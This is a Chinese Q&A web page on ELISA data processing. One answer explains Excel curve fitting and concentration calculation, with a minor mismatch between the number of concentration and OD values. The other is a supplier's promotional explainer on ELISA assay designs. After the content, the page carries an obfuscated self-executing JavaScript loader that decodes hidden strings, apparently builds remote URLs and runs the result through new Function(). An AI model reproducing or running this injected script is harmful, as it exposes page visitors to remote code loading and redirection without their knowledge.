ELISA实验数据处理方法是怎样的

2025-03-13 03:32:43
推荐回答(2个)
回答(1):

ELISA试剂盒在国内有许多种叫法:例如:ELISA检测试剂盒、ELISA?Kit、酶联免疫试剂盒、酶联免疫吸附测定试剂盒、酶联免疫分析试剂盒、酶免试剂盒等,比较常见的叫法是ELISA检测试剂盒、酶联免疫吸附测定试剂盒等?ELISA试剂盒自从60-70年代问世以来,得到全世界科研工作者的认可及推崇,在欧美及中国获得很大的推广,尤其是国内生化领域的长足发展。Elisa生物试验是一种敏感性高,特异性强,重复性好的实验诊断方法。由于其试剂稳定、易保存,操作简便,结果判断较客观等因素,已广泛应用在免疫学检验的各领域中。本章交流分享:ELISA实验数据处理方法是怎样的?想要了解的同学欢迎来电咨询。
1、拟和曲线:
输入行: 浓度值, 如0 10 50 100
输入第二行:该浓度下的调整后的od值,如0 0.586 1.397 1.997 3.42
选择这些输入的数据,用插入里的图表按钮,进入图表向导,在“标准类型”中选择“xy散点图”;在“子图表类型”中选择“折线散点图”,按“下一步”;选择“系列产生在行”,按“下一步”;数据标志,可以填写:如数据y轴,OD值;数据x轴,浓度;按下一步,点击完成。可得曲线图。
单击曲线,按右键,选择“添加趋势线”,在类型中,选择多项式;在选项中,选择显示公式,选择显示R平方值。
得到公式和R平方值。
也可以用上面说的方法:双击图表,把它输入到图表的数据中,就可以拟和曲线。
2、计算浓度:
次实验:
标准曲线为:
y = -4E-05x2 + 0.026x
R2 = 0.9745
为例,已知OD值,计算浓度。
由于y = -4E-05x2 + 0.026x,所以可以得到:
4E-05x2 -0.026x +y=0
ax2 +bx +y=0
a=4E-05;b=-0.026;
x=(-b-(b*b-4ay)(平方根))/(2*a)
代入a,b,和y值,得
x=(0.026-(0.026*0.026-0.00016*y)(平方根))/(2*0.00004)
在excel里可以用以下公式表示:
x=(0.026-EXP(LN(0.026*0.026-0.00016*y)/2))/(2*0.00004)
通用公式为:
x=(-b-EXP(LN(b*b-4ay)/2))/(2*a)
应用excel的公式拷贝功能,计算所有浓度

回答(2):

上海科艾博生物(COIBO)科技生物学检测试剂盒、进口常规生化试剂、抗体、化学试剂、药典级试剂、标准品、血清等产品,覆盖分子生物学、生物化学、细胞生物学、免疫学、蛋白组学、生物制药与诊断试剂从大的方面说ELISA属于酶免疫技术。 免疫酶技术是将酶作为标记物,标记抗体或抗原后,与相应的抗原或抗体发生反应,通过标记酶相应底物的颜色反应作抗原抗体的定性和定量的检测依据。
目前应用最多的免疫酶技术是酶联免疫吸附实验(ELISA),如果要分类的话,它属于异相固相酶免疫技术。所谓异相是指在检测时不需要将酶标记抗原抗体和游离抗原抗体分开,所谓固相就是指的ELISA的96孔板固相载体了。看下面均相酶免疫测定的原理图:
ELISA的主要原理很简单,有这么三个, 1、包被 抗原或者抗体能以物理性吸附于固相载体表面,可能原理是蛋白质和聚苯乙烯表面间的疏水性部分相互吸附,吸附之后能保持抗原抗体反应等免疫活性; 2、标记 抗原或者抗体可通过共价键与酶连接成酶结合物,而此种酶结合物仍能保持其免疫活性和酶的催化特点; 3、显色 酶结合物与相应包被在固相载体的抗原或者抗体结合后,也被固定在固相载体上,加入酶的底物之后可出现显色反应,根据反应的颜色深浅可计算抗原或者抗体的相对含量。ELISA 实验设计根据检测对象的不同,我分别给童鞋们介绍抗原的检测方法设计和抗体的检测方法设计。抗原的检测设计 1、双抗夹心法 针对至少2个抗原决定簇的多价抗原。首先介绍一下抗原决定簇,抗原决定簇就是决定抗原性的特殊化学基团,也叫抗原表位,理论上一个抗原决定簇能诱导产生一种单克隆抗体(可能有童鞋又要问单克隆抗体是神马东东了,以后介绍啊)。由6-12氨基酸或碳水基团组成,它可以是由连续序列(线性表位)组成或由不连续的蛋白质三维结构(构象表位)组成。临床上具有2个抗原决定簇的多价抗原有很多,比较常见有HBsAg、AFP、HCG等大分子抗原。检测步骤也简单,就是包被、洗涤、加样、洗涤、加样、洗涤、显色。具体说来是先将纯化的相应抗体包被在固相载体上,再加入待测样品,若其中含有待测抗原就会与固相抗体结合,洗掉杂质后,再加入酶标记的检测抗体进行反应,洗掉多于的酶标抗体后,加入底物显色,显色与否以及颜色的深浅就代表了待测抗原是否存在以及相对含量了,简单吧。
对于双抗夹心法检测大分子抗原要注意几点,1.固相抗体和酶标检测抗体一定是分别针对待测抗原的两个不同抗原决定簇,不然两个抗体就会为争同一个决定簇而打架,会出现假阴性的不良结果;2.如果检测的样本是血清,就要注意风湿病患者体内内风湿因子RF这种奇葩异种抗体的存在,它能够神奇地结合固相抗体和检测抗体,造成假阳性的不良结果;3.包被的固相抗体含量一定是高于样品中的抗原含量,不然检测到的含量会比实际含量低;4.如果有童鞋想高端省事一些,将待测样品与酶标检测抗体同时加入固相载体,在酶标检测抗体高于样品中的待测抗原的情况下,会出现假阴性结果,这种现象书本叫钩状效应。 2、竞争法 针对小分子抗原。这种方法也可以用于大分子抗原,只是相对双抗夹心法这种强悍的策略,竞争法完全没有优势,所以竞争法只在检测小分子这个边缘地带发挥余热了。临床上主要用于T3、T4、孕酮等激素以及药物等。检测步骤与双抗夹心法更简单,包被、洗涤、加样、洗涤、显色,少了一步加样的过程,但是设计上复杂一些,首先将纯化的相应抗体包被在固相载体上,然后每组样本需要分两组,一组同时加入事先混匀好的酶标检测抗原和样本的混合物,一组只加入酶标记抗原,两组颜色只差便是待测抗原的含量,有点晕啊。
对于竞争法也需要注意一点,酶标记抗原和待测样本一定要事先混匀好,然后同时加入固相载体,不然会造成不公平竞争,检测出现偏差;抗体的检测设计 就方法来说,有间接法、双抗原夹心法、竞争法和捕获法四种设计。 1、 间接法,这个是检测抗体最常用也最简单的方法。操作步骤与双抗夹心一样,只是包被是纯化的相应抗原而不是抗体了,加入样品后洗涤,再加入的酶标记抗抗体,然后显色,颜色深浅与样品中待测抗体的浓度正相关。这个间接法的原理和步骤与双抗夹心一样一样的,为了区分就把包被抗原检测抗体叫做间接法了,以此类推,之前的双抗夹心法也可以叫做直接法,命名其实就是这么回事,规则多了就容易让人糊涂。间接法也有一些自己的特点,1.酶标记抗抗体可选择性检测抗体的亚型,可用于鉴别感染时期,如果是IgM那么提示感染早期;2.酶标抗抗体检测抗体特异性不高,容易产生假阳性,如果封闭不完全,可出现全板阳性,挺吓人的。临床上常用该方法检测抗HCV抗体、抗HEV抗体、抗CMV抗体、抗HSV抗体、抗沙眼衣原体抗体等等。
2、 双抗原夹心法,这个完全是山寨双抗夹心法的。原理和步骤也与双抗夹心一样一样的,与间接法相比,具有优越的灵敏度和特异性,但不是很常用,因为就目前的技术条件,想得到能用于ELISA检测的纯化抗原还是有一定的难度。临床上常用于检测HIV抗体初筛,TP抗体和抗HBs抗体等,这些检测对特异性和灵敏度,准确性都要求特别高。
3、 竞争法,和检测抗原设计的竞争法完全一致,临床上用的不多,我仔细总结了一下两个很具有代表性的,也各具特点。1、抗HBc抗体,检测方法与抗原相同,包被抗原之后,分两组,一组加入预先混匀的酶标抗体和待测样品,一组只加入酶标抗体,两组的显色之差可代表待测抗体的相对含量,需注意的是待测抗体与酶标抗体是同一物质;2、抗HBe抗体检测,方法与抗原竞争法设计稍有区别,包被的抗HBe抗体后,检测也分两组,一组先加入酶标HBeAg再立即加入待测样品,一组只加酶标HBeAg,两组显色之差代表待测抗体的相对含量,这种设计中包被抗体和待测抗体是同一物质。值得注意的是混合组不是事先混匀再加入,而是先加入待测抗体后再加入酶标抗原。所有的这些复杂的注意事项确实很容易把人搞晕,但是童鞋们只需要记住一条,竞争很残酷,我们就要想尽一切办法保证竞争的公平性,这样就不会错。
4、 捕获法,这种方法比较少用,由于具有识别抗体类型的优点,仅用于需要早期诊断的急性感染或者具有爆发性感染的疾病,如HAV-IgM、HBc-IgM、ToRCH等等。原理还是逃不脱经典的双抗夹心,具体方法是先包被能识别抗体类别的抗抗体,洗涤后加样品,再洗涤,加酶标记抗原,洗涤后显色,这些步骤闭上眼睛都能写出来。

最后说两句,与抗原检测不同,抗体检测的设计不是根据抗体的结构特点了,这么多种设计方法,童鞋们用的时候就会选择障碍了,掌握2个原则,1.实验要求,如果需要特异性和准确性特别高,那肯定是双抗原夹心法,要求马马虎虎,那就间接法,如果要明确抗体类型,最好的选择就是捕获法了;2.实验成本,与纯化抗体不一样,有时候想要获得纯化的抗原是非常困难的,更别说两种不同的纯化抗原了,所以双抗原夹心法临床上用的并不多。ABS-ELISA顺便说一下ABS-ELISA设计,其实是和上面说的一样的,通过亲和素-生物素系统(ABS)方法显色反应,增加检测灵敏度而已,但是增加操作步骤与实验成本,而且现在单克隆抗体的技术越见成熟,抗体特异性和亲和力大大提高,灵敏度已经不是问题,所以这些次等装备已经不常用。
结果判定最后和童鞋说说ELISA结果判定,分定性和定量两种。对于定性试验,参比阴、阳性对照的吸光度,以P/N或者S/CO比值形式报告。1. P/N比值是指(待测样本-空白对照)/(阴性样本-空白对照),一般以P/N≥2.1判为阳性,或许求知欲旺盛的童鞋会问,那么竞争法用P/N比值怎么判,呵呵,这里先不说,卖个乖,你可以百度或者私信我啊;2. S/CO比值,S是待测样本吸光度值,CO为CUT-OFF值,通常取值阴性对照平均值的2.1倍。S/CO比值≥1为阳性,竞争法S/CO比值≤1为阳性。定量检测没有什么可说的,老老实实做标准曲线,既锻炼实验操作能力,又可作为实验内部参照。
记得有这么个规定,定性检测不能目测判断,要凭借酶标仪检测,定量要在每次实验都得与待测样本相同实验条件下绘制标准曲线,有一难度,但是为了对实验负责,你就从了吧。

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();